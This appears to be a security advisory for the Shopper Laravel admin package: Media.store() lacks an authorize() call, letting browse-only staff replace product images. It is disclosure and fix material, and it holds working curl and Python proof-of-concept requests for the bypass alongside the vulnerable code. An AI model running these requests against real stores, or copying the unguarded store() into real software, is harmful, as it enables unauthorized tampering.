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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 2.9.2
Patched in 2.9.2
Details
Missing authorization on Media sub-form store action allows unpermissioned product media update
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76// Lines 64-76 - store() with no authorize() call
public function store(): void
{
$this->validate();
$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
The five sibling components that were fixed in commit fcd0c59 each now have:
public function store(): void
{
$this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files
// ...
}
Media.store() does not.
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
# Livewire snapshot ID and the product's public ID.
# The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
# pointing at the captured component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "<snapshot JSON from page source with product locked>",
"updates": {},
"calls": [{"path":"","method":"store","params":[]}]
}]
}'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE laravel_session cookie value (browse-only staff session)
XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value
SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component
(copy from data-livewire-snapshot in the product edit page source)
The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{'path': '', 'method': 'store', 'params': []}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
// packages/admin/src/Livewire/Components/Products/Form/Media.php
public function store(): void
{
$this->authorize('edit_products'); // add this line
$this->validate();
$this->product->update($this->form->getState());
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}
Reported by Vishal Shukla (@shukla304 / @therawdev).
EPSS, exploit probability
Low0.39%
estimated chance of real-world exploitation in the next 30 days, higher than 33.0% of every CVE FIRST.org scores
Refreshed 10/30/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
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